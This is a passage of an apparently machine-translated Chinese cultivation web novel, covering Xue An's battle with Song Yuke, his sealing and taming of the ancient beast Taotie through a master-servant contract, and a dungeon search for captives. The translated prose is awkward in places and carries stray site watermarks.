    "As for me, of course I am not afraid of them, but now..."


    Yue Qinghuan didn''t finish the rest of the words, but seeing her sad expression also knew that there must be some unspeakable concealment.


    At this moment, but seeing that this gluttonous behemoth stopped rolling, lying in the void panting, the whole body was covered with bone wounds, and it looked extremely tired and embarrassed.


    After confirming that he did not have any ability to resist, the man sneered triumphantly.


    "A beast is a beast, even if it is an ancient fierce beast, what can it be? In front of me, don''t you still have to catch it?"


    After that, he just turned his head and looked at Yue Qinghuan gloomily.


    "Hey, who should I be? It turned out to be Miss Yue Qing Huanyue from the military strategist. It''s been a long time since Miss Yue has really become more and more beautiful!"


    Although the words are praise, they are full of arrogance and frivolousness.


    Yue Qinghuan''s complexion became very ugly, but he couldn''t get angry. He could only hold back his anger, and said coldly: "Song Yuke, Brother Song, praised me, you are the great witch of the Yin and Yang family, I am only a female stream, how can I fit into your Dharma eyes? ?"


    "Haha!" Song Yuke sneered, and then looked at Xue An who was aside.


    After discovering that this white-clothed boy was just a half-step immortal who was too "normal" to be "normal", Song Yuke was slightly taken aback, and then a playful and disdainful color appeared in his eyes.


    "Did you just demolish the Zuisheng Building of my Yinyang Family?" Song Yuke said coldly.


    Xue An shrugged, "Yeah! What''s the problem? If you want to thank you, then forget it. It''s just a matter of effort, not enough."


    "presumptuous!"


    "If you dare to talk to Senior Brother Song like this, you should slap your mouth!"


    Xue An''s "frivolity" attitude instantly angered the people who followed Song Yuke, and they all scolded one after another.


    Song Yuke''s complexion gradually became gloomy, and his surroundings surged. The target was directed at Xue An. At the same time, he stared at Xue An, trying to see some clues from the face of this unbelievably handsome young man.


    But in the end he was disappointed.


    Because he found that he could not see through the smile on the boy''s face.


    Especially his eyes are as deep as the sea, making himself almost indulged in it and unable to extricate himself.


    This caused a strange color to flash in his eyes, but soon he sneered.


    "Sure enough, if you meet in other places, I might accept you as a disciple of the Yin Yang family, but unfortunately... you did something you shouldn''t do, so you are destined to pay the price!"


    As he said, he lowered his eyes, and shouted with majesty: "Now kneel down, and I will take you back to the main altar, so that you may not die, otherwise, today is your death date!"


    "Yes! Don''t kneel down yet!"


    "Senior Brother Song is gracious outside the law, don''t hurry down and beg for mercy!"


    These people who followed Song Yuke also made a round of clamour.


    Standing behind the crowd, He Yunxi was full of schadenfreude.


    Boy, weren''t you arrogant before?


    Now I see how arrogant you are!


    But at this moment, Xue An suddenly laughed, and then turned to look at Yue Qinghuan.


    "Listen, they actually let me kneel down, and they seem to want me to be grateful to them. What do you say about this?"


    Yue Qinghuan''s complexion at this moment is also very ugly, so he took a deep breath and stepped forward and said: "Brother Song, please stay calm and not irritable. This matter is for a reason, not because I waited to cause trouble on purpose, and..."


    Before Yue Qinghuan could finish speaking, Song Yuke interrupted her directly.


    "What? Are your soldiers going to intervene in this matter?"


    Yue Qinghuan was dumb.


    Song Yuke then sneered: "Yue Qinghuan, I have given you enough face just now, and I even targeted this kid throughout the whole process and didn''t involve you, so I hope you don''t know how to praise!"


    Yue Qinghuan''s complexion was green and red, and his lavender eyes were full of infinite anger, and he was obviously irritated by Song Yuke''s attitude.


    But Song Yuke didn''t take it seriously, "And I tell you the truth, even if you want to intervene, it''s useless, my Yin and Yang family is doing things, it''s not your turn to tell the Yue family!"


    "Those who are sensible quickly step aside, otherwise..."


    Song Yuke sneered, his smile full of threats.


    Yue Qinghuan''s fists were tightly clenched, and fire was almost bursting into his eyes. Then, looking at Song Yuke, he said every word: "But what if I insist?"


    Song Yuke was also a little stunned, obviously he didn''t expect Yue Qinghuan to be so persistent.


    But he quickly grinned, "If you insist on managing, then I''m sorry, I..."


    Before he finished his words, Xue An suddenly stretched out his hand and patted Yue Qinghuan''s shoulder gently, "Back!"


    Yue Qinghuan was taken aback and looked at Xue An blankly.


    Xue An showed her white teeth and smiled sensibly: "Leave these people to me, you just need to watch them on the side!"


    With that, Xue An stepped forward and blocked Yue Qinghuan behind him.


    Looking at Xue An''s back, Yue Qinghuan felt a little dazed.


    What does this guy want?


    Does he really think this is in those little heavens like puddles?


    No matter how amazing his talent is , he is only a half-step Xianzun now, and he can never be Song Yuke''s opponent!


    You must know that the same disciple of the ancient hundred schools, Yue Qinghuan knew the terrible Song Yuke a long time ago.


    At that time Song Yuke had the strength comparable to a half-step saint, and behind him was one of the great witches of the Yin Yang Family.


    Want to have this status, at least half a step in the realm of a saint.


    This shows that he has already broken through, and time has passed so long, how his current strength is even more a mystery.


    At the same time, after seeing Xue An''s actions, the people Song Yuke brought were all irritated.


    "Arrogant! The mere half-step Xianzun actually dared to challenge Brother Song like that, really looking for death."


    "I think I want to show myself in front of a beautiful woman, but it''s a pity that Brother Song will teach him how to be a man!"

 Chapter 2221： Reverse Blood Mudra

    Amidst these discussions, Song Yuke''s eyes became extremely cold.


    "Boy, this is your own death. You can''t blame anyone else!"


    "Stop talking nonsense!" Xue An stretched out his hand to throw a hook at Song Yuke, "My little master will let you all come back today!"


    Song Yuke was completely irritated, and saw numerous golden runewheels suddenly appeared in front of him, and they quickly gathered and condensed together.


    In an instant, these golden wheels turned into a small talisman seal and came straight to Xue An.


    The strange thing is that the speed of this talisman seal is not fast, and even slow in the eyes of many people.


    But this sluggish talisman seal swallowed even the space where it passed.


    Xue An did not dodge.


    Because he knew very well that when this talisman was released, no matter where he hid, he couldn''t escape the chase of the talisman.


    So he just watched it quietly, even with a faint excitement in his eyes.


    Because this can be regarded as the first tough battle he encountered after crossing over.


    Although the previous battle against Orb City''s advocacy of Pengtian was fierce, because a large part of Zhang Pengtian''s strength was borrowed, it seemed very watery.


    But Song Yuke was different. As one of the great witches of the Yin-Yang family, his strength could be described as tempered, which is why Yue Qinghuan was extremely worried about Xue An.


    Just before everyone reacted, this talisman seal suddenly disappeared in place, and when it appeared again, it had arrived in front of Xue An and was reprinted on his chest.


    boom!


    Suddenly, a white light flashed across the field that dazzled everyone, followed by a loud noise.


    Then countless people saw a black shadow falling straight down from the air, slamming into the ground with a mighty force.


    Bang!


    Smoke was everywhere, and a huge hole appeared on the ground.


    Looking at the air again, there is still Xue An''s figure.


    At this time, the audience was silent.


    But soon, Song Yuke sneered, "Fight with me, you are still too far away!"


    In an instant, the group of people brought by Song Yuke began to cheer, and the flattering words drowned Song Yuke like a tide.


    "Brother Song is really mighty!"


    "This kid is really looking for death, and he dares to be disrespectful to Senior Brother Song. It''s all right now. It is estimated that his bones are powdered!"


    Even He Yunxi couldn''t help taking a breath, then sneered and looked at the ground.


    Look at how arrogant you are now!


    In contrast, Yue Qinghuan was completely stupid.


    I saw her staring blankly at the bottomless hole on the ground, only countless question marks hovering in her mind.


    died?


    He just died like this?


    An unspeakable heartache struck instantly, causing tears in her eyes.


    But at this moment, Lu Yangyan, who had been standing behind the two without saying a word, suddenly took a step forward, stood where Xue An was before, and then whispered.


    "Don''t cry, he should be fine!"


    Yue Qinghuan suddenly raised his eyes, with doubts in his eyes.


    Lu Yangyan said solemnly: "At the last moment, I saw him blocking the talisman seal with his arm, so he should be fine!"


    "but����."


    "Don''t worry, he rescued me once, I naturally won''t hurt his woman, now you step back and leave it to me here!" Lu Yangyan said coldly.


    Yue Qinghuan''s face flushed.


    Lu Yangyan obviously misunderstood the relationship between her and Xue An.


    But she did not explain, nor did she step back, but stabilized her mind, staring coldly at Song Yuke on the opposite side.


    "Song Yuke, are you insisting on being an enemy of my Yue family? Are you not afraid that your family''s chieftain will be blamed?"


    "Yue Qinghuan, you are not here to use Da Si Ming to suppress me. The relationship between your brother and Da Si Ming can''t control me, and just now everyone has seen that everything is the kid looking for death by himself, so who can he blame? What?"


    "So I still said that, if you are acquainted, leave here now, I can let you go, otherwise..."


    "Otherwise?" Yue Qinghuan sneered.


    "Otherwise, I can''t guarantee that I will act on you! After all...the goddess of the younger generation of soldiers, I would love to kiss Fangze!" Song Yuke said triumphantly.


    The group of people behind him laughed loudly, and the indecency in the laughter was so obvious.


    At this moment, Yue Qinghuan suddenly calmed down, her figure flickered suddenly, and she wanted to cross before Song Yuke.


    Unexpectedly, a trick that has always been unprofitable failed this time.


    Then Song Yuke laughed wildly, "Hahahaha, useless Yue Qinghuan, I already knew that you would use the trick of dark storage to deal with me, so the space was sealed off in advance."


    Infinite humiliation appeared in Yue Qinghuan''s eyes.


    Lu Yangyan on the side blasted out with a punch, and shouted, "Zhenwu!"


    But before the real image of Wuxu appeared, Song Yuke shook it out with a flick of his finger, and then sneered.


    "Don''t say it''s you, even if your Dao ancestors are here, there is nothing to do with my yin and yang family. After all... when it comes to Dao Fa, my yin and yang family is the first!"


    "Oh? Really?" A chuckle came from underground.


    Then the earth began to tremble, and Xue An walked out of it step by step.


    At this moment, his upper body''s clothes had burst, revealing the explosively beautiful muscle lines below.


    Although it is not as suave as before, it has a wild charm.


    Song Yuke was also a little unbelievable, "How is it possible? You didn''t die?"


    "Who told you that I was dead?" Xue An said lightly.


    Song Yuke''s eyes instantly became extremely cold and solemn.


    He didn''t expect that this young man in white, who was just a half-step Xianzun, could actually catch his own move without dying.


    This makes him no longer contemptuous.


    "Okay! Sure enough, there are two brushes, but you still have to die today!"


    As he said, Song Yuke knotted his hands and gave a cold sigh.


    "Inverse Blood Handprint!"


    boom!


    A huge handprint fell from the sky and came straight to Xue An.


    Song Yuke, who got serious this time, was even more terrifying than before. UU reading


    Xue An didn''t take the palm, but suddenly raised his head to look at the gluttonous head.


    "Are you interested in making a deal?"


    This sudden sentence made everyone stunned.


    Song Yuke was so angry that he smirked, "I think you really have a broken brain, you are about to die, and you still want to make a deal with a beast?"


    With that, this palm rushed to Xue An.


    Xue An dodged this palm, but this was only the beginning, and the subsequent attacks came like a tide.


    Xue An dodged from left to right, but his eyes stayed on the glutton who seemed to be dying.


    Finally, after a moment of silence, a deep voice came from the gluttonous body.


    "What deal?"


    "I will unlock all the seals on you, so that you can get revenge, you only need to promise me three things!"

 Chapter 2222： Yin and yang jade pendant

    As soon as this remark came out, the group of people who had followed Song Yuke burst into laughter.


    "It''s really interesting, I''m already dead on the verge of death, yet dare to be so arrogant!"


    "That''s right! What else did you say about unlocking the seal? That was the seal placed by Master Zhongjun himself. What kind of thing are you talking about, dare you say such big things?"


    Song Yuke didn''t say a word, but speeded up his attack while sneering.


    In an instant, Xue An was under tremendous pressure like a gust of wind and rain.


    Despite this, Xue An''s eyes still did not leave the gluttonous beast, as if waiting for its answer.


    At this moment, Taotie let out a low howl.


    "Can you really unlock the seal for me?"


    "Up to now, do you think I need to lie to you?" Xue An said lightly.


    "That''s good! I promise you!"


    Xue An was a little surprised by Taotie''s so simple promise, and he couldn''t help but chuckle and said, "Don''t ask me what three things I want you to do?"


    "This time has come, as long as you can unblock it for me, I can promise you anything!" Taotie roared.


    A strange brilliance flashed in Xue An''s eyes, "Okay!"


    After all, he dodged and avoided Song Yuke''s blow, then flew up and went straight to the gluttony in the sky.


    "Looking for death!" Song Yuke snorted coldly, and then swiped his finger in the void in front of him.


    boom!


    A huge gap suddenly appeared above the sky and blocked Xue An outside.


    At the same time, countless Fu Zhuan attacked Xue An indiscriminately.


    In an instant, the dazzling light of amulet completely overwhelmed Xue An''s figure.


    Yue Qinghuan''s heart touched his throat instantly.


    Many onlookers shook their heads secretly.


    It''s useless!


    In front of Song Yuke in the half-step Saint Realm, this unknown young man in white had no chance of winning.


    at last.


    Fu Guang gradually dissipated, and then there was nothing in the field.


    "Haha, I guess this kid has been bombarded by Senior Brother Song and there is no dregs left!" Someone sneered.


    But at this moment, the gluttonous gluttonous body that was full of scars suddenly showed brilliance.


    How to describe it!


    The seal on Taotie''s body is like a combination lock.


    At this moment, an invisible hand is flipping these combination locks, causing them to keep turning.


    These visions naturally attracted Song Yuke''s attention, and he initiated the Sealing Curse without hesitation.


    "Roar!"


    Taotie let out an extremely painful roar, and the seal on his body shrank again.


    But at this time the invisible hand also speeded up, and the seal brilliance flickered crazily.


    Song Yuke snorted angrily, then raised his hand and drew countless seals in front of him, indiscriminately attacking the Taotie and all the space around it.


    boom!


    Fu Zhuan exploded like fireworks, leaving the space riddled with holes.


    This gluttonous glutton was the first to bear the brunt, big and small holes were blown out all over his body.


    But at this moment, the code brilliance that had been rotating ceaselessly stopped suddenly.


    Song Zhuke''s expression changed suddenly, and just as he wanted to speak, the talisman he had attacked retreated like a tide.


    Immediately afterwards, a creaking sound came from this gluttonous body.


    This voice instantly suppressed and concealed all the breath of the audience.


    It''s as if there is something unspeakable in the heavens and the earth is gestating.


    With every explosion, the brilliance on the gluttonous body surface will be broken into pieces.


    At the end, the brilliance that once covered the gluttonous body completely dissipated.


    Then gluttonous let out a very dull low growl.


    Some people with shallow cultivation could not stop trembling.


    Song Yuke''s expression was even greener, and he stretched out his hand and took out a half-black and half-white weird jade pendant, and squeezed it directly.


    Bang!


    The jade pendant was shattered, and at the same time violent black and white qi gushed out from it, directly attacking the gluttonous behemoth in the distance.


    "It''s the yin and yang jade pendant! Brother Song has lost his blood this time!" someone exclaimed.


    The yin-yang jade pendant is a special talisman made by the yin-yang family, which can only be made by the existence of the life class.


    And looking at the power of the jade pendant in Song Yuke''s hand at this moment, it is obvious that at least the existence of the middle monarch level.


    You must know that in the Yin Yang family, the level of strength is roughly divided into Witch, Great Witch, Si Ming, Zhongjun, Shadow God, and the highest Eastern Emperor.


    At the Middle Sovereign level, he was already an almost legendary master.


    And the jade pendant from the hands of these existences can be seen as precious.


    But at this moment, everything is too late.


    Although the black and white two qi condensed into yin and yang double snakes, they rushed to the gluttonous behemoth aggressively.


    But when they rushed closer, the gluttonous beast just glanced indifferently, and the yin and yang snakes instantly solidified and broke apart.


    Song Yuke was shocked, and a look of horror appeared in his eyes.


    This is a jade pendant that is equivalent to a full blow at the Middle Sovereign level.


    The result was broken so lightly?


    Just as he was shocked, he saw that the body of this gluttonous beast suddenly began to grow sharply.


    In the blink of an eye, its size increased by more than tens of times, occupying half of the sky.


    And the power it exudes is even more creepy.


    At least just now, they were complacent, and Song Yuke and others, who believed that this battle would undoubtedly be won, all looked extremely pale at this moment.


    At the same time, but seeing this gluttonous behemoth slowly lowered its head, the blood-red eyes were full of cold killing intent.


    "You... all have to die!"


    When the words fell, it suddenly opened its mouth and swallowed Song Yuke and others directly.


    Although the mouth has not yet arrived, the violent power has already locked many people, making them unable to move.


    puff!


    When this mouthful was swallowed, the group of people who followed Song Yuke had been left.


    Only some of them were completely frightened, and they stood still and didn''t even dare to move.


    Taotie chewed, and there was a sound of chopped bones from his mouth, and blood dripped from the corners of his mouth.


    But it still seemed unsatisfied, and the eyes under the armpits were still patrolling around, seeming to be looking for something.


    suddenly.


    In the void ten miles away from the battlefield ripples suddenly appeared, and then a brilliance fell out of it.


    It is Song Yuke.


    It''s just that at this moment, he has long lost the ecstasy he had before, and has become extremely embarrassed.


    After showing up, he flew away without hesitation.


    But at this moment, another brilliance appeared behind him, and then a woman shouted.


    "Senior Brother Song, wait for me, don''t leave me!"


    It is He Yunxi.


    But at this time, Song Yuke could still care about He Yunxi. His current goal is to escape here as soon as possible.


    Let''s talk about everything when we return to the general forum.


    It stands to reason that He Yunxi''s strength cannot catch up with Song Yuke.


    At this time when his life was at stake, He Yunxi also exploded with unprecedented potential. After struggling to catch up, Song Yuke couldn''t get rid of him for a while.

 Chapter 2224： Seal again

    "Looking at it?" Taotie shook his head, "I don''t owe you any money at all, so why do you want to say it?"


    Speaking of this, the gluttonous laughed a few times, "Don''t think I don''t know, if it wasn''t for me just now, I guess you would have been beaten to death by Song Yuke these yin and yang celebrities!"


    "So you broke the seal for me, and I helped you break the life-and-death crisis. When the two offset each other, it happens that neither of us owes anyone."


    Xue An took a deep look at this gluttonous behemoth that had recovered all its sanity and showed its sinister and cunning qualities, and then laughed.


    "It seems to make sense to hear you."


    "Isn''t what I said is wrong? If it weren''t for the face of this fact, do you think you can live to the present?" The gluttonous gloomy words, with murderous intent in the words.


    Yue Qinghuan felt that his heartbeat had stopped for half a beat, and really wanted to inform Xue An as soon as possible so that he would not have any more extravagances.


    Just clean up the gang of Yin-Yang family, as to negotiate terms with Gourmet....


    Isn''t that a fairy tale?


    But in the face of the naked threat of gluttony, Xue An was not moved at all, but said indifferently: "If you say that, then I will tell you."


    Yue Qinghuan felt that his scalp was numb, and secretly groaned in his heart.


    When is it all, I actually want to reason with Daotie!


    That was one of the four great fierce beasts in ancient times. Although it didn''t look like an adult gluttonous body, since it was called a fierce beast, it proved that it was absolutely unreasonable.


    Xue An, Xue An!


    You are still a little too arrogant.


    Do you really think that you can suppress this glutton with your own strength?


    Just when Yue Qinghuan was full of anxiety, Taotie laughed unscrupulously.


    "Tell me about it? Okay! I''ll see how you plan to tell me today! If you can really suppress me and bow your head, then I have nothing to say."


    The laughter was full of arrogance and disdain.


    Xue An raised the corners of his mouth, revealing Bai Sensen''s teeth, "This is what you said."


    "Haha!" Taotie still sneered.


    But at this moment, Xue An suddenly opened his eyes, his eyes were full of brilliance, and he coldly shouted: "Get up!"


    boom!


    A faint brilliance suddenly appeared on Taotie''s body.


    When this brilliance emerged, it seemed indifferent, but in fact it was so dazzling.


    Almost in the blink of an eye, the gluttony was completely overwhelmed.


    Then there was a gluttonous roar from within Guanghua, "What''s going on, what is this?"


    Xue quietly stood in the air, and said indifferently: "This is a seal!"


    "Seal?" Taotie understood something in an instant, "You dare to make tricks in secret?"


    Xue An laughed, "Nonsense, do you really think I didn''t expect you to fall back on the bill?"


    "Ahhhh, I''m going to kill you!"


    The glutton, who had just unlocked the seal and enjoyed a short period of freedom, was sealed again at this moment, which made him furious and rushed towards Xue An.


    But it had just rushed halfway, Xue An yelled softly, "Seal!"


    Click!


    These brilliance instantly turned into countless extremely dense runes, one shrinking inside.


    "Ahhhhh my strength!" Taotie wailed with extreme misery, struggling hard, trying to get rid of the restraint.


    But how could Xue An, who had prepared it in advance, let it happen? In fact, these seals were secretly buried by Xue An when he unblocked the gluttonous food.


    At that time, Xue An forcibly hid his figure and came to Taotie''s side, unblocking it through his deep understanding of runes and his superb spirit.


    But Xue Anbi knew that these fierce beasts would never be so obedient, so while unblocking the seal, while quietly planting extremely secret seal runes in Glut''s body.


    Although it was said that it was the middle monarch Yuehua of the Yin Yang family who sealed the gluttonous glutton, in terms of strength alone, it can be said that it far surpasses the current Xue An.


    But when it comes to the understanding and mastery of runes, Xue An is truly unique in the world, and rarely meets an opponent.


    In other words, this seal rune was not only gluttonous, but also did not reveal any clues in the whole process.


    It wasn''t until Xue An started, that this glutton was horrified to discover that his entire body''s strength was sealed to death, and he could no longer use it.


    Speaking of this gluttonous glutton, it was sad enough. It was finally freed from the seal of decades. Before he was happy for a while, he fell into the deep pit that Xue An dug for it once again.


    At this moment, after a burst of rapid brilliance, this gluttonous body shrank by more than half, and at the same time, his aura fell rapidly.


    In the blink of an eye, the situation was completely reversed.


    The gluttonous behemoth that had just flaunted its might became a little demon with no resistance at all, and could only look at Xue An standing in the air with horror.


    As a fierce beast, it knows the truth that the weak eats the strongest than anyone else.


    You must know that in the eyes of these fierce beasts, the upper ones have the power to live and kill the lower ones.


    The people from the Yin and Yang family used despicable means to seal it, but because the level of the seal was not enough, they were unable to force it to do anything except to use its talents by means.


    And because the seal is loosened from time to time, the gluttonous dare to resist.


    But this time it was different.


    Taotie could clearly perceive that the seal he was holding was so powerful this time that he even sealed all his talented bloodlines together.


    At this time, it is no different from a piece of meat placed on a cutting board.


    This feeling that I made a knife for fish and meat made it feel extremely intense fear.


    So at this time, it not only closed its mouth very soberly, no longer the arrogant posture just now, even lowered its head, humiliating and humblely crawling under Xue An''s feet.


    Yue Qinghuan stared blankly.


    Does this mean surrender?


    Oh my god!


    I am not wrong, right!


    The gluttonous glutton, one of the ancient four fierce beasts, actually surrendered to Xue An?


    Not only Yue Qinghuan, but UU reading www.uuk��nshu.com all the people watching in the entire Exquisite City opened their mouths wide, staring dumbfounded.


    At this moment, I saw Xue An chuckle, and then slowly stretched out his palm, lightly patted the top of the gluttonous head.


    With each shot, Lutie''s body will tremble, and there will be a whimper of fear in the throat.


    That way, it''s really like a dog who was scared and stupid.


    No way, it can''t be afraid.


    After all, now Xue An can kill it with just one thought.


    "Now can you still say that you and I don''t owe each other?"


    Taotie shook his head tremblingly, "No... I dare not!"


    As it said, it raised its head tremblingly, and its eyes under the armpit did not know when it had moved above the face, and then said respectfully.


    "Big...sir, I was offended before, but now I am willing to fulfill my promise immediately! What do you think?"

 Chapter 2225： Master-servant contract

    "Haha!" Xue An gave a noncommittal chuckle, and then said lightly: "Fulfill your promise? What promise to fulfill?"


    Taotie''s body froze instantly, and then dense beads of sweat appeared on his face.


    "When...Of course it is the three things that I promised you before! As long as you order, I will do my best for you."


    When he said this, the gluttonous tone was so humble that he almost knelt down and begged for mercy.


    But Xue An did not speak, but looked at it with a smile instead of a smile.


    It was not until a long time later that Xue An faintly said: "Don''t you really think that this is already the case, can you still just need to do three things for me to get out like before?"


    With this simple sentence, Taotie felt chills in her heart.


    "You... what do you mean?"


    "What do you mean?" Xue An sneered. "If you are back, and even intending to deny you, then you will naturally have to pay some price!"


    As he said, Xue An''s palm lightly rubbed the top of Gourmet''s head, "So what price do you think you should pay?"


    Taotie didn''t even dare to move, so he could only tremble and say: "I...I don''t know!"


    "I don''t know?" Xue An raised the corner of his mouth, "Then I will let you know!"


    As he said, his finger swiped down suddenly.


    The pointed edge is like a knife, from the top of the gluttonous head to the center of its eyebrows.


    Blood burst out in an instant, and the painful gluttony was trembling all over.


    But Xue An didn''t seem to be satisfied, and his other hand plunged directly into the wound and took a step aside.


    A large piece of flesh was opened in an instant, revealing Bai Sensen''s skull below.


    And on the bone at the center of the eyebrow, there is a huge crystal.


    It was the place where the Ding Dan, which was most cherished by the ancient beasts such as gluttonous beasts, was located.


    This crystal is crystal clear and flawless, but it is condensed by the most pure divine power in Glut''s mind, and it has all kinds of magical effects.


    The importance of gluttony is also conceivable.


    But at this moment, Xue An grasped the crystal, and then yanked it down.


    Click!


    After a crisp sound, the crystal was broken off by Xue An abruptly.


    Taotie let out a deafening howl, and then milky white liquid leaked from the wound.


    hiss!


    Many people took a breath for it.


    This is too cruel!


    And Xue An indifferently weighed the crystal in his hand, and then said to the gluttonous face whose face had been twisted together due to extreme pain.


    "Your Dingdan is good, but don''t worry, I won''t want this from you!"


    But before the gluttonous breathe a sigh of relief, Xue An''s next sentence made it completely desperate.


    "But before returning you, I want to sign a small soul contract with you that is not worth mentioning. What do you think?"


    As soon as this statement came out,


    This glutton was almost scared to cry, and shouted in a crying voice: "Fare... forgive me!"


    But Xue An shook his head, "This is the price you should pay. I haven''t given you a chance before, but unfortunately... you didn''t cherish it!"


    As he said, Xue An''s eyes flashed, and the powerful spiritual thoughts gushed out instantly, and he plunged into the crystal in his hand, and began to forcibly transform everything in it.


    Taotie could not move, so he could only look at Xue An with horrified eyes.


    At this moment, in its eyes, the young man in front of him is no different from the devil.


    The audience looked at this scene in a daze.


    Is there a mistake!


    That is the gluttony of one of the four great beasts of ancient times!


    How come you are so obedient as a dog in front of this young man at this moment!


    In the blink of an eye, Xue An''s divine mind retreated from the gluttonous top pill, and then pressed against the gluttonous eyebrow.


    Ding Dan returned to its place, and the milky white liquid immediately bound the crystal like glue.


    At the same time, the wound between the gluttonous eyebrows healed quickly.


    Not only that, but the seal brilliance on Taotie''s body is constantly fading.


    In the blink of an eye, it regained its prestige.


    Although the figure has not recovered, at least it is no longer as depressed as it was at the beginning.


    But despite all the changes, Taotie''s face still didn''t have the slightest joy, but was full of despair.


    Because it can clearly perceive that there is an insurmountable iron law carved in its own top pill.


    Feng Xue''an is the master, and will never resist!


    This is why the gluttonous noodles are so earthy.


    Because this command has penetrated deep into the soul with Ding Dan''s return, and there is no possibility of any change.


    In fact, this is not a soul contract, it was transformed by Xue An.


    Because the real soul contract is an irresistible contract signed between monks and powers for certain things, which requires both parties.


    However, Xue An''s soul contract for gluttony at this moment only had a unilateral request for gluttony.


    So a more accurate name should be called the master-servant contract.


    No matter what kind of contract, Xue An has now become the master of this gluttonous food.


    I saw him faintly said: "Fade away from the body and transform into a human form!"


    "Yes!"


    Under the suppression of the contract, the gluttony couldn''t even raise the thought of resistance, so he answered honestly.


    Then its body shape began to change rapidly, and finally transformed into a man with a turmeric complexion.


    "Master!" The gluttonous bowed towards Xue An respectfully.


    Xue An nodded, "Very good! This looks much pleasing to the eye!"


    The audience was silent, and everyone looked at this scene stupidly.


    Lord...Master?


    Did you hear this title correctly?


    Taotie actually called this young man his master?


    But the fact is like this, when you see Taotie standing behind Xue An very respectfully, like a slave.


    Everyone was silent.


    Because from the beginning to the present, this teenager has given them too many surprises.


    By now, they are even a little numb.


    The only thing that puzzles many people is Why can this young man have such outstanding insights and almost incomprehensible divine minds with only half a step of the strength of the Immortal Venerable?


    Could it be that he comes from some secret sect that is not well known?


    Just when many people are thinking about it.


    Xue An brought gluttonous food and came to the same dumbfounded Yue Qinghuan and Lu Yangyan.


    "Okay! This matter has been dealt with, now it''s time to rescue the captured Shadow Turtle Race and your sister!" Xue An said lightly.


    Lu Yangyan shook his whole body, and immediately came to his senses from the shock, blurted out, "Do you know where my sister is?"


    "Well! Judging from the memory of Song Yuke who was swallowed by Xiaolu, your sister and those Shadow Turtles should be locked up in the drunk death courtyard!"


    Little glutton...


    This name made Yue Qinghuan''s eyelids twitch.


    As for the glutton standing behind... it was even more bitter.

 Chapter 2226： Death

    Not far from the Zuisheng Building, there is an exquisite courtyard named Mengsiyuan.


    Combined with Zuishenglou, it is the famous Zuishengmengsi.


    It��s just that it��s different from the Zuisheng Building, which is widely used for gamblers from all quarters. This Mengshengyuan never opens its doors to welcome guests. Therefore, there have been rumors that this Mengshengyuan is a place where Zuisheng Building stores a huge amount of wealth. Countless rare treasures.


    But from the memory of Song Yuke, He Yunxi and others who were swallowed by gluttonous food, it can be known that this Dream Death Yard is actually the place where Zuisheng Building used to detain prisoners.


    It is said that they are prisoners, but in fact, many of them are customers who owe huge gambling debts in Zuisheng Building and cannot pay off.


    It will not be released until when their family or the sect has paid enough ransom.


    The Shadow Turtle Clan and Lu Yangyan''s sister were also imprisoned here.


    It''s just that when Xue An and others came to this dream hospital, the guards who were in charge of guarding this place had already escaped, leaving only an empty courtyard.


    After pushing the door into it, but seeing that it was very messy inside, it was obvious that these guards were very panicked when they fled.


    Lu Yangyan''s expression became more excited.


    "Where is my sister?"


    "Don''t worry, you can see it soon!"


    With that said, Xue An walked to a place in the atrium, and then stomped his foot abruptly.


    boom!


    There was a huge earthquake on the ground, and then there was a creaking sound, and a wall in the atrium turned over directly, revealing a hole extending downward.


    "This is the entrance to the dungeon where they are being held!"


    When Lu Yangyan heard the words, he couldn''t wait to rush in, Xue An asked Yue Qinghuan to wait there, and he followed with gluttonous food.


    quickly.


    After walking through a long flight of steps, a huge cell appeared suddenly in front of him.


    The walls of the cell are inlaid with luminous jade, so the light here is not dim.


    And in the divided cells, there are many people in custody.


    After seeing Xue An and Lu Yangyan, these people rushed to the door of the cell and shouted loudly.


    "My lord, forgive me, I am willing to be a bull for you, just beg not to keep me here again, I''m going crazy!"


    "Yeah! I don''t even have a spiritual stone now. It''s useless if you shut it down until I die!"


    Xue An looked at these shouters and found that they were all ragged and sluggish, and obviously they had been sealed by some secret method.


    But among these people, the Shadow Turtle Clan and Lu Yangyan''s sister were not seen.


    Lu Yangyan''s expression became more and more excited.


    "Where is my sister?"


    Xue An did not directly respond to his words, but walked to the door of the cell and looked at these people who looked at him with anticipation.


    "Have you seen a girl and a group of monsters?"


    Facing Xue An��s questioning, these people suddenly became calm, then looked at each other and shook their heads at the same time.


    "never seen it!"


    Even so, the expressions on these people''s faces are all very unnatural.


    Guanghua flashed in Xue An''s eyes, "Really haven''t seen it?"


    "No!"


    "Okay, then you just stay here, and I want to tell you that this place is now abandoned. Once we leave, you will have no chance to go out!"


    With that, Xue An turned and wanted to leave.


    This group of people was in a hurry. One of the men couldn''t help but rushed to the door and shouted, "Wait a minute!"


    Xue An stopped.


    The man looked at Xue An, then slowly said: "You are not from Zuishenglou, then who are you?"


    Xue An smiled slightly, "Zuisheng Building? No, Zuisheng Building no longer exists, so who do you say I am?"


    As soon as this remark came out, the group of people shook together.


    "Impossible! Zuisheng Building has a very strong backstage, you are just a half-step immortal, how can you deal with them?"


    "Yes, this kid must be lying!"


    Amidst these drum noises, Xue An turned his head and gave a gluttonous wink.


    Taotie understood her heart, immediately roared, and showed her own power at the same time.


    This power immediately frightened these people back again and again, especially the man who had just uttered a word to call Xue An, his eyes showed infinite horror.


    "Gourmet! It''s actually an ancient ferocious beast Gourmet!"


    Xue An chuckled, "Yes! That''s gluttony!"


    Then Xue An said gluttonously: "Okay, don''t shout so loudly, what should I do if it scares others!"


    "Yes, master!" Taotie immediately bowed back.


    At this time, all of this group of people opened their eyes wide, and their faces were full of incredible colors.


    You must know that gluttony is one of the four fierce beasts in the ancient times. I have never heard of anyone who can tame it, but now this extremely cruel fierce beast respects this young man as his master.


    How this sounds incredible.


    But those who can be locked in here are obviously not easy people.


    Although their strength was sealed, their vision and insight were still there.


    Especially this man, the eyes looking at Xue An became more cautious and dignified.


    Because in his mind, the origin of this young man is obviously extremely mysterious, otherwise it would be impossible for such a fierce beast to serve as a servant.


    "Can you believe it now?" Xue An said lightly.


    After weighing the pros and cons, the man finally gritted his teeth, "Okay! Then I believe you once. I have indeed seen the girl and the monster beast you mentioned, but they were taken three days ago. gone!"


    "Take it away? Where did it go? Who took it away!" Lu Yangyan asked excitedly.


    A look of horror appeared in the man''s eyes, and he took a deep breath and said: "It is an extremely powerful existence. The guards here all call him Lord Zhongjun. As for where he was taken, I don''t know! "


    As soon as these words came out, Taotie''s complexion changed abruptly, "Zhongjun? Did you mean Yuehua Zhongjun?"


